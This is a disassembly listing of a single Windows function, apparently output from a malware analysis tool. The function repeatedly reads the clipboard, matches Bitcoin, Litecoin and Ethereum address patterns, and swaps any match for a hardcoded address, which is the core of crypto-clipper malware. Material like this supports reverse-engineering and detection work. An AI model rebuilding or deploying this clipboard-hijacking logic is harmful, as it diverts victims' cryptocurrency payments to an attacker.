Function at 0x4015e4
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push rbp
push rbx
sub rsp, 0x108
lea rbp, [rsp + 0x80]
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
setne al
test al, al
je 0x4018d9
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetClipboardData]
call rax
mov qword [rbp + 0x78], rax
cmp qword [rbp + 0x78], 0
je 0x4018d0
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp + 0x70], rax
cmp qword [rbp + 0x70], 0
je 0x4018d0
lea rax, [rbp + 0x4f]
mov rcx, rax
call fcn.00466e30
lea rcx, [rbp + 0x4f]
mov rdx, qword [rbp + 0x70]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x4f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x40]
mov r8d, 0x10
lea rdx, str._bc1_13___a_zA_HJ_NP_Z0_9_25_39_
mov rcx, rax
call method.std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char___.basic_regex_char_const__std::regex_constants::syntax_option_type_
lea rax, [rbp - 0x20]
mov r8d, 0x10
lea rdx, str._LM3__a_km_zA_HJ_NP_Z1_9_26_33_
mov rcx, rax
call method.std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char___.basic_regex_char_const__std::regex_constants::syntax_option_type_
mov rax, rbp
mov r8d, 0x10
lea rdx, str.ltc1_a_z0_9_39_59_
mov rcx, rax
call method.std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char___.basic_regex_char_const__std::regex_constants::syntax_option_type_
lea rax, [rbp + 0x20]
mov r8d, 0x10
lea rdx, str.0x_a_fA_F0_9_40_
mov rcx, rax
call method.std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char___.basic_regex_char_const__std::regex_constants::syntax_option_type_
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x60]
mov r8d, 0
mov rcx, rax
call sym._ZSt12regex_searchISt11char_traitsIcESaIcEcNSt7__cxx1112regex_traitsIcEEEbRKNS3_12basic_stringIT1_T_T0_EERKNS3_11basic_regexIS
test al, al
je 0x401727
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov rdx, rax
lea rax, [rbp - 0x60]
lea r9, [0x00517040]
mov r8, rdx
mov edx, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.replace_unsigned_long_long__unsigned_long_long__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x4017f9
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x60]
mov r8d, 0
mov rcx, rax
call sym._ZSt12regex_searchISt11char_traitsIcESaIcEcNSt7__cxx1112regex_traitsIcEEEbRKNS3_12basic_stringIT1_T_T0_EERKNS3_11basic_regexIS
test al, al
je 0x401770
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov rdx, rax
lea rax, [rbp - 0x60]
lea r9, [0x00517060]
mov r8, rdx
mov edx, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.replace_unsigned_long_long__unsigned_long_long__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x4017f9
mov rdx, rbp
lea rax, [rbp - 0x60]
mov r8d, 0
mov rcx, rax
call sym._ZSt12regex_searchISt11char_traitsIcESaIcEcNSt7__cxx1112regex_traitsIcEEEbRKNS3_12basic_stringIT1_T_T0_EERKNS3_11basic_regexIS
test al, al
je 0x4017b5
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov rdx, rax
lea rax, [rbp - 0x60]
lea r9, [0x00517080]
mov r8, rdx
mov edx, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.replace_unsigned_long_long__unsigned_long_long__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
jmp 0x4017f9
lea rdx, [rbp + 0x20]
lea rax, [rbp - 0x60]
mov r8d, 0
mov rcx, rax
call sym._ZSt12regex_searchISt11char_traitsIcESaIcEcNSt7__cxx1112regex_traitsIcEEEbRKNS3_12basic_stringIT1_T_T0_EERKNS3_11basic_regexIS
test al, al
je 0x4017f9
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov rdx, rax
lea rax, [rbp - 0x60]
lea r9, [0x005170a0]
mov r8, rdx
mov edx, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.replace_unsigned_long_long__unsigned_long_long__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
add rax, 1
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp + 0x60], rax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
mov rax, qword [rbp + 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x68]
mov r8, rax
mov rdx, rbx
call sym.memcpy
mov rax, qword [rbp + 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [rbp + 0x60]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SetClipboardData]
call rax
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char___.basic_regex__
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char___.basic_regex__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char___.basic_regex__
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_regex_char__std::__cxx11::regex_traits_char___.basic_regex__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov dword [rbp + 0x5c], 0xfa
lea rdx, [rbp + 0x5c]
lea rax, [rbp + 0x50]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1000ll___.duration_int__void__int_const_
lea rax, [rbp + 0x50]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1000ll____std::chrono::duration_long_long__std::ratio_1ll__1000ll____const_
jmp 0x4015f5